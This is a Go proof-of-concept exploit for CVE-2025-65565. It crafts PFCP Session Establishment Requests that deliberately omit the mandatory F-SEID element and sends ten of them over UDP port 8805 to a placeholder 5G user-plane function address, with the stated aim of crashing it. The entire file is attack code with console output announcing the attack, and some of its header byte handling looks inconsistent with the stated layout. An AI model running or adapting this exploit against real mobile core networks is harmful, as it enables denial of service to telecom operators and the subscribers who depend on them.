package main
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"time"
)
// PFCP IE Types
const (
IE_CREATE_PDR = 57
IE_F_SEID = 21
IE_CPF_SEID = 52
IE_NODE_ID = 86
IE_RECOVERY_TIME_STAMP = 151
)
// PFCP Message Types
const (
MSG_PFCP_SESSION_ESTABLISHMENT_REQUEST = 0x32
)
// Build malicious PFCP Session Establishment Request without F-SEID
func buildMaliciousPFCPPacket(sequenceNum uint32) []byte {
var buf bytes.Buffer
// PFCP Header
// Version (3 bits) | Flags (5 bits) | Message Type (1 byte) | Length (4 bytes)
buf.WriteByte(0x20) // Version=1, flags=0
buf.WriteByte(MSG_PFCP_SESSION_ESTABLISHMENT_REQUEST)
// Sequence Number (3 bytes) + spare (1 byte)
binary.Write(&buf, binary.BigEndian, sequenceNum)
buf.WriteByte(0x00)
// IE: Node ID (required for association)
nodeID := buildIE(IE_NODE_ID, []byte{0x00, 0x00, 0x00, 0x01})
buf.Write(nodeID)
// IE: F-SEID - INTENTIONALLY OMITTED to trigger vulnerability
// This is the key to exploit CVE-2025-65565
// Calculate and set length
msgLen := uint32(buf.Len() - 5) // exclude header's first 5 bytes
lenBytes := make([]byte, 4)
binary.BigEndian.PutUint32(lenBytes, msgLen)
copy(buf.Bytes()[2:6], lenBytes)
return buf.Bytes()
}
func buildIE(ieType uint16, ieData []byte) []byte {
var buf bytes.Buffer
// IE Type (2 bytes) + Length (2 bytes) + Spare (1 byte) + Data
binary.Write(&buf, binary.BigEndian, ieType)
binary.Write(&buf, binary.BigEndian, uint16(len(ieData)))
buf.WriteByte(0x00) // Spare
buf.Write(ieData)
return buf.Bytes()
}
func main() {
targetIP := "<UPF_N4_IP>"
targetPort := 8805
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", targetIP, targetPort))
if err != nil {
fmt.Printf("ResolveUDPAddr error: %v\n", err)
return
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
fmt.Printf("DialUDP error: %v\n", err)
return
}
defer conn.Close()
fmt.Println("[*] Sending malicious PFCP Session Establishment Request...")
fmt.Println("[*] Target: ", targetIP, ":", targetPort)
fmt.Println("[*] Exploit: Missing mandatory F-SEID IE (CVE-2025-65565)")
// Send multiple packets to ensure crash
for i := 0; i < 10; i++ {
packet := buildMaliciousPFCPPacket(uint32(i))
_, err := conn.Write(packet)
if err != nil {
fmt.Printf("Send error: %v\n", err)
return
}
fmt.Printf("[+] Packet %d sent (length: %d)\n", i+1, len(packet))
time.Sleep(100 * time.Millisecond)
}
fmt.Println("[*] Attack completed")
}